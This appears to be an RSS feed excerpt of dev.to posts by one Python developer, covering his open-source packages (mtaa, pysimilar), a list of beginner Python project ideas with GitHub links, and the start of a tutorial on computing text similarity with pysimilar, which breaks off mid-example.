&lt;p&gt;&lt;a href="https://www.patreon.com/kalebujordan" rel="nofollow noopener noreferrer"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fgithub.com%2FKalebu%2Fmtaapictures%2Fbecome_a_patron_button.png" alt="Become a patron"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;A strory behind&lt;/h2&gt;
&lt;/div&gt;
&lt;p&gt;Mtaa package is result of organized &lt;strong&gt;json&lt;/strong&gt; of all the locations in Tanzania, As I was looking for data about these locations data I came across repo &lt;a href="https://github.com/HackEAC/tanzania-locations-db" rel="noopener noreferrer"&gt;tanzania-location-db&lt;/a&gt;, It consists of locations data organized into &lt;em&gt;regions&lt;/em&gt;, whereby each region has its own csv file. So I wrote a script to transform all the locations from csv into a single &lt;strong&gt;Json&lt;/strong&gt; and from there package came.&lt;/p&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;Json Transformer&lt;/h2&gt;
&lt;/div&gt;
&lt;p&gt;If you wanna give a look at the script or interested about building your Json from a similar kind of raw data here is &lt;a href="https://github.com/Kalebu/mtaa/blob/main/json_transformer.py" rel="noopener noreferrer"&gt;Json Transformer script&lt;/a&gt;.&lt;/p&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;Installation&lt;/h2&gt;

&lt;/div&gt;
&lt;p&gt;Use pip to install it just as shown below;&lt;/p&gt;
&lt;div class="highlight highlight-source-shell notranslate position-relative overflow-auto js-code-highlight"&gt;
&lt;pre&gt;pip install mtaa&lt;/pre&gt;

&lt;/div&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;Usage&lt;/h2&gt;

&lt;/div&gt;
&lt;p&gt;The library is very straight forward, at the very top of the library is country which…&lt;/p&gt;
&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/Kalebu/mtaa" rel="noopener noreferrer"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;


&lt;h2&gt;
  
  
  Pysimilar
&lt;/h2&gt;

&lt;p&gt;Pysimilar came up after a previously published article on how to detect plagiarism in Python using cosine similarity, which stands as one of the most-read articles here on &lt;a href="https://dev.to/"&gt;dev.to&lt;/a&gt; and multiple platforms I published including my personal blog. &lt;/p&gt;

&lt;p&gt;After realizing many people were looking into building something like that, I then thought of building a light python package that will enable even complete beginners to able to build a plagiarism detector in python &lt;/p&gt;


&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev.to%2Fassets%2Fgithub-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/Kalebu" rel="noopener noreferrer"&gt;
        Kalebu
      &lt;/a&gt; / &lt;a href="https://github.com/Kalebu/pysimilar" rel="noopener noreferrer"&gt;
        pysimilar
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      A python library for computing the similarity between two strings (text) based on cosine similarity
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;
&lt;div class="markdown-heading"&gt;
&lt;h1 class="heading-element"&gt;&lt;a href="https://pypi.org/project/pysimilar" rel="nofollow noopener noreferrer"&gt;pysimilar&lt;/a&gt;&lt;/h1&gt;
&lt;/div&gt;
&lt;p&gt;&lt;a href="https://pepy.tech/project/pysimilar" rel="nofollow noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/01c394e8b1350faa52d057eed95a1ab0b338150e1de97d65cbcc52466235067d/68747470733a2f2f706570792e746563682f62616467652f707973696d696c6172" alt="Downloads"&gt;&lt;/a&gt;
&lt;a href="https://pepy.tech/project/pysimilar" rel="nofollow noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/c555b01cdf38f6f3c9498e9b043b3dfe14e83765a12cbca27470092997ffc168/68747470733a2f2f706570792e746563682f62616467652f707973696d696c61722f6d6f6e7468" alt="Downloads"&gt;&lt;/a&gt;
&lt;a href="https://pepy.tech/project/pysimilar" rel="nofollow noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/fc92d1e86747d7603ed7b02c1836d45cb61522e4ee321256dce44595ac7124a6/68747470733a2f2f706570792e746563682f62616467652f707973696d696c61722f7765656b" alt="Downloads"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;A python library for computing the similarity between two string(text) based on cosine similarity made by &lt;a href="https://github.com/Kalebu" rel="noopener noreferrer"&gt;kalebu&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.patreon.com/kalebujordan" rel="nofollow noopener noreferrer"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fgithub.com%2FKalebu%2Fpysimilarpictures%2Fbecome_a_patron_button.png" alt="Become a patron"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;How does it work ?&lt;/h2&gt;
&lt;/div&gt;
&lt;p&gt;It uses Tfidf Vectorizer to transform the text into vectors and then obtained vectors are converted into arrays of numbers and then finally cosine similary computation is employed resulting to output indicating how similar they are.&lt;/p&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;Installation&lt;/h2&gt;
&lt;/div&gt;
&lt;p&gt;You can either install it directly from &lt;em&gt;Github&lt;/em&gt; or use &lt;em&gt;pip&lt;/em&gt; to install it, here is how you to install it directly from github;&lt;/p&gt;
&lt;div class="highlight highlight-source-shell notranslate position-relative overflow-auto js-code-highlight"&gt;
&lt;pre&gt;$  git clone https://github.com/Kalebu/pysimilar
$  &lt;span class="pl-c1"&gt;cd&lt;/span&gt; pysimilar
$ pysimilar -&lt;span class="pl-k"&gt;&amp;gt;&lt;/span&gt; python setup.py install
&lt;/pre&gt;

&lt;/div&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;Installation with pip&lt;/h2&gt;

&lt;/div&gt;
&lt;div class="highlight highlight-source-python notranslate position-relative overflow-auto js-code-highlight"&gt;
&lt;pre&gt;$ &lt;span class="pl-s1"&gt;pip&lt;/span&gt; &lt;span class="pl-s1"&gt;install&lt;/span&gt; &lt;span class="pl-s1"&gt;pysimilar&lt;/span&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;Example of usage&lt;/h2&gt;

&lt;/div&gt;
&lt;p&gt;Pysimilar allows you to either specify the string you want to compare directly or specify path to files containing string you want to compare.&lt;/p&gt;
&lt;p&gt;Here an example on how to compare strings directly;&lt;/p&gt;
&lt;div class="highlight highlight-source-python notranslate position-relative overflow-auto js-code-highlight"&gt;
&lt;pre&gt;&lt;span class="pl-c1"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="pl-c1"&gt;&amp;gt;&lt;/span&gt; &lt;span class="pl-k"&gt;from&lt;/span&gt; &lt;span class="pl-s1"&gt;pysimilar&lt;/span&gt; &lt;span class="pl-k"&gt;import&lt;/span&gt; &lt;span class="pl-s1"&gt;compare&lt;/span&gt;
&lt;span class="pl-c1"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="pl-c1"&gt;&amp;gt;&lt;/span&gt; &lt;span class="pl-en"&gt;compare&lt;/span&gt;&lt;/pre&gt;…
&lt;/div&gt;
&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/Kalebu/pysimilar" rel="noopener noreferrer"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;


&lt;h2&gt;
  
  
  More python packages
&lt;/h2&gt;

&lt;p&gt;&lt;em&gt;If you can't find it, develop and opensource it&lt;/em&gt; said opensource, So I did and began developing packages focused mostly on simplifying the integration with the APIS, &lt;/p&gt;

&lt;p&gt;These packages include; &lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://nextsms.github.io/nextsms/" rel="noopener noreferrer"&gt;NextSMS&lt;/a&gt; a python Package to ease the integration with nextsms SMS Gateway&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://kalebu.github.io/tigopesa/" rel="noopener noreferrer"&gt;Tigopesa&lt;/a&gt; Python package to ease the Tigo Pesa Payment API integration&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://github.com/beem-africa/python-client" rel="noopener noreferrer"&gt;BeemAfrica&lt;/a&gt; A python library to ease the integration with the Beem Africa (SMS, AIRTIME, OTP, 2WAY-SMS, BPAY, USSD)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://kalebu.github.io/Nida/" rel="noopener noreferrer"&gt;Nida&lt;/a&gt; un-official Python library for loading user information based on National ID number(Tanzania)&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  What I have learned? and why you should contribute too?
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Personally getting to open-source has completely transformed me in terms of perception and improvement in the way I write code than code examples ever taught me.&lt;br&gt;
Therefore I would also recommend If you're currently learning a programming language or looking to advance your skills, one of the best things you can do to achieve that is contributing to opensource &lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Your contribution to open-source projects can act as your portfolio with vivid evidence on how you write code and document your project which can help you land paying gigs, I recently worked with a client who reached out only after going through my GitHub so it works for sure.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;You don't really to be an expert to contribute, you just need to have something to contribute that's all, and sometimes you don't even have that something, there are couples of websites such as &lt;a href="https://www.codetriage.com/" rel="noopener noreferrer"&gt;CodeTriage&lt;/a&gt;  that highlight issues you fix and level of the difficulties for tons of opensource software.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Well, that's all for this article, I'm glad you enjoyed learning exploring my journey as an open-source contributor, to me this is just beginning and  I really think you should too. &lt;/p&gt;

&lt;p&gt;You can connect me with me on &lt;a href="https://twitter.com/j_kalebu" rel="noopener noreferrer"&gt;Twitter&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I also write articles on &lt;a href="https://kalebujordan.dev/" rel="noopener noreferrer"&gt;personal blog&lt;/a&gt;&lt;/p&gt;

</description>
      <category>python</category>
      <category>opensource</category>
      <category>codenewbie</category>
      <category>programming</category>
    </item>
    <item>
      <title>40 Python Projects ideas </title>
      <dc:creator>Jordan Kalebu</dc:creator>
      <pubDate>Sun, 25 Apr 2021 19:58:32 +0000</pubDate>
      <link>https://dev.to/kalebu/40-python-projects-ideas-1b5k</link>
      <guid>https://dev.to/kalebu/40-python-projects-ideas-1b5k</guid>
      <description>&lt;p&gt;Hello guys , in this blog post I have organized 40 Python projects that you might be interested trying out  ranging from webscraping to to natural language processing. &lt;/p&gt;

&lt;p&gt;All the project listed here are the one I have built personally as I learn python and I thought it might be useful sharing them with other people learning python so as to help them solidify python skills as they build them.&lt;/p&gt;

&lt;p&gt;I have attached Either a blog post about the project or a Github repository with the source code of the project, I hope you will find them useful.&lt;/p&gt;

&lt;p&gt;In case you face any issues while trying to run any of these projects, please feel free to reach me through my email at isaackeinstein(at)gmail.com, Good luck.&lt;/p&gt;

&lt;h2&gt;
  
  
  Cybersecurity
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;a href="https://kalebujordan.dev/image-stenography-with-python/"&gt;Image steganography using Python&lt;/a&gt; &lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/Kalebu/ascii-encryption-python"&gt;ASCII based encryption in Python&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/Kalebu/python-keylogger"&gt;A simple Keylogger made in Python&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Natural language Processing
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;a href="https://github.com/Kalebu/Python-Speech-Recognition-"&gt;How to Perform speech recognition in Python&lt;/a&gt; &lt;/li&gt;
&lt;li&gt;
&lt;a href="https://kalebujordan.dev/translating-languages-using-python/"&gt;3 ways to do language translation in Python&lt;/a&gt; &lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/Kalebu/Emotion-text-analyzer-"&gt;How to detect emotions in the text using Python&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/Kalebu/Desktop-chatbot-app"&gt;Make your own knowledge-based chatbot in Python&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/Kalebu/Plagiarism-checker-Python"&gt;Make your own Plagiarism detector in Python&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/Kalebu/SPAM-FILTER-USING-MACHINE-LEARNING"&gt;How to train your own SMS Spam filter using Python&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/Kalebu/Twitter-Sentiment-analysis-Python"&gt;A python program to automate sentiment analysis of tweets&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Web scraping
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;&lt;a href="https://github.com/Kalebu/Worldmeter-coronavirus-scraper"&gt;A python script to scrap  coronavirus updates&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://github.com/Kalebu/Link-scraper-in-python"&gt;A python script for Extracting all website links&lt;/a&gt; &lt;/li&gt;
&lt;li&gt;&lt;a href="https://kalebujordan.dev/basics-of-webscraping-in-python/"&gt;A beginner guide to web scraping in Python&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/Kalebu/Website-Images-Spider"&gt;A spider to scrap entire website images&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Machine Learning &lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;a href="https://github.com/Kalebu/Loan-prediction-with-ML"&gt;Loan repayment Predication with Machine learning &lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Computer vision
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;&lt;a href="https://github.com/Kalebu/Realtime-barcode-reader"&gt;Python based realtime barcode reader&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/Kalebu/image-to-sound-python-"&gt;A Python script to convert a picture to sound&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/Kalebu/Edge-Detection"&gt;How to detect edges in Python using OpenCV&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/Kalebu/Real-time-Vehicle-Dection-Python"&gt;Realtime Vehicle detection in Python&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Desktop GUI
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;a href="https://github.com/Kalebu/Python-GUI-Calculator-"&gt;A Tkinter GUI calculator&lt;/a&gt; &lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/Kalebu/MusicPlayer"&gt;A simple music player application &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/Kalebu/Guessing-Game-Python"&gt;A simple guessing game applicaton&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/Kalebu/Digital-clock-in-Python"&gt;Building a digital clock in Python&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/Kalebu/Monty-Hall-Problem-Simulation-in-Python"&gt;Simulating monty hall problem with Python&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/Kalebu/Python-CameraApp"&gt;Build A simple Camera app with Python&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/Kalebu/Python-phonenumber-tracker-App"&gt;A GUI to Track phone number in Python&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/Kalebu/Library-Managment-system-in-Python"&gt;A Library Management System&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/Kalebu/Desktop-chatitng-GUI-app-with-python"&gt;A Desktop for Messaging and Send files over local network&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  CLIS
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;&lt;a href="https://github.com/Kalebu/Duplython"&gt;A Python CLI tool to remove duplicates files on a drive/folder&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/Kalebu/Website-blocker-python"&gt;A Python based  website blocker &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/Kalebu/Commandline-chatting-system-python"&gt;CLI chat application in python using sockets&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/Kalebu/Automate-shutdown-python"&gt;A cross platform Python script to automate computer shutdown&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Visualizations
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;&lt;a href="https://github.com/Kalebu/Corona-cases-Visualization"&gt;How to Visualize the COVID-19 spread using folium in Python&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Embedded and IoT
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;&lt;a href="https://github.com/Kalebu/Python-for-Embedded-and-IoT/tree/main/basics"&gt;Ways to controlling arduino boards with Python&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Bots and Automation
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;&lt;a href="https://github.com/Kalebu/Telegram-bot"&gt;A Simple Telegram bot &lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Hope you find them useful, in case you would have anything to add just fork it, and it will be my pleasure merging your helpful contributions.&lt;/p&gt;

&lt;p&gt;Did you count, its 35 not 40 I will take the remaining as debt and will update along the way !!&lt;/p&gt;

&lt;p&gt;You can find more more articles from a personal blog &lt;a href="https://kalebujordan.dev/"&gt;kalebujordan.dev&lt;/a&gt;&lt;/p&gt;

</description>
      <category>python</category>
      <category>codenewbie</category>
      <category>computerscience</category>
      <category>programming</category>
    </item>
    <item>
      <title>Using pysimilar to compute the similarity between texts</title>
      <dc:creator>Jordan Kalebu</dc:creator>
      <pubDate>Wed, 07 Apr 2021 19:48:42 +0000</pubDate>
      <link>https://dev.to/kalebu/using-pysimilar-to-compute-similarity-between-texts-290g</link>
      <guid>https://dev.to/kalebu/using-pysimilar-to-compute-similarity-between-texts-290g</guid>
      <description>&lt;p&gt;Hi guys, &lt;br&gt;
I recently wrote an article titled &lt;a href="https://kalebujordan.dev/how-to-detect-plagiarism-in-text-using-python/" rel="noopener noreferrer"&gt;How to detect plagiarism in text using python&lt;/a&gt; whereby I show how you can easily detect plagiarism between documents as the title says manually using cosine similarity.&lt;/p&gt;

&lt;p&gt;I republished that article on multiple platforms including here on &lt;strong&gt;dev.to&lt;/strong&gt; and &lt;strong&gt;Hackernoon&lt;/strong&gt;, and it's one of my most viewed articles plus the most starred GitHub repository among articles repositories.&lt;/p&gt;

&lt;p&gt;Which gave me a second thought to refactor the code/article to make it more easily and friendly to get started with even for absolute beginners leading me to build a python library &lt;strong&gt;pysimilar&lt;/strong&gt; which I can say simplify it to the maximum;&lt;/p&gt;
&lt;h2&gt;
  
  
  Getting started with Pysimilar
&lt;/h2&gt;

&lt;p&gt;To get started with pysimilar for comparing text documents, you just need to install first of which you can either install directly from GitHub or using pip.&lt;/p&gt;

&lt;p&gt;Here how to install pysimilar using pip&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;pip &lt;span class="nb"&gt;install &lt;/span&gt;pysimilar
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Here how to install directly from github&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;git clone https://github.com/Kalebu/pysimilar
&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cd &lt;/span&gt;pysimilar
&lt;span class="nv"&gt;$ &lt;/span&gt;pysimilar -&amp;gt; python setup.py &lt;span class="nb"&gt;install&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;With Pysimilar you can either compare text documents  as strings or specify the path to the file containing the textual documents.&lt;/p&gt;
&lt;h3&gt;
  
  
  Comparing strings directly
&lt;/h3&gt;

&lt;p&gt;You can easily compare strings using pysimilar using &lt;em&gt;compare()&lt;/em&gt; method just as illustrated below;&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;pysimilar&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;compare&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;compare&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;very light indeed&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;how fast is light&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mf"&gt;0.17077611319011649&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  Comparing strings contained files
&lt;/h3&gt;

&lt;p&gt;To compare strings contained in the files, you just need to explicitly specify the &lt;strong&gt;isfile&lt;/strong&gt; parameter to True just as illustrated below;&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;compare&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;README.md&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;LICENSE&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;isfile&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mf"&gt;0.25545580376557886&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;You can also compare documents with particular &lt;strong&gt;extension&lt;/strong&gt; in a given directory, for instance, let's say I want to compare all the documents with &lt;strong&gt;.txt&lt;/strong&gt; in &lt;strong&gt;documents&lt;/strong&gt; directory here is what I will do;&lt;/p&gt;

&lt;p&gt;The directory for documents used by the example below looks like this&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;documents/
├── anomalie.zeta
├── hello.txt
├── hi.txt
└── welcome.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Here how to compare files of a particular extension&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;pysimilar&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;pprint&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;pprint&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;pysimilar&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;extensions&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;.txt&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;comparison_result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;pysimilar&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;compare_documents&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;documents&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;[[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;welcome.txt vs hi.txt&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;0.6053485081062917&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;welcome.txt vs hello.txt&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;0.0&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;hi.txt vs hello.txt&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;0.0&lt;/span&gt;&lt;span class="p"&gt;]]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;You can also sort the comparison score based on their score by changing the &lt;strong&gt;ascending&lt;/strong&gt; parameter, just as shown below;&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;comparison_result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;pysimilar&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;compare_documents&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;documents&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ascending&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;pprint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;comparison_result&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;[[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;welcome.txt vs hello.txt&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;0.0&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
 &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;hi.txt vs hello.txt&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;0.0&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
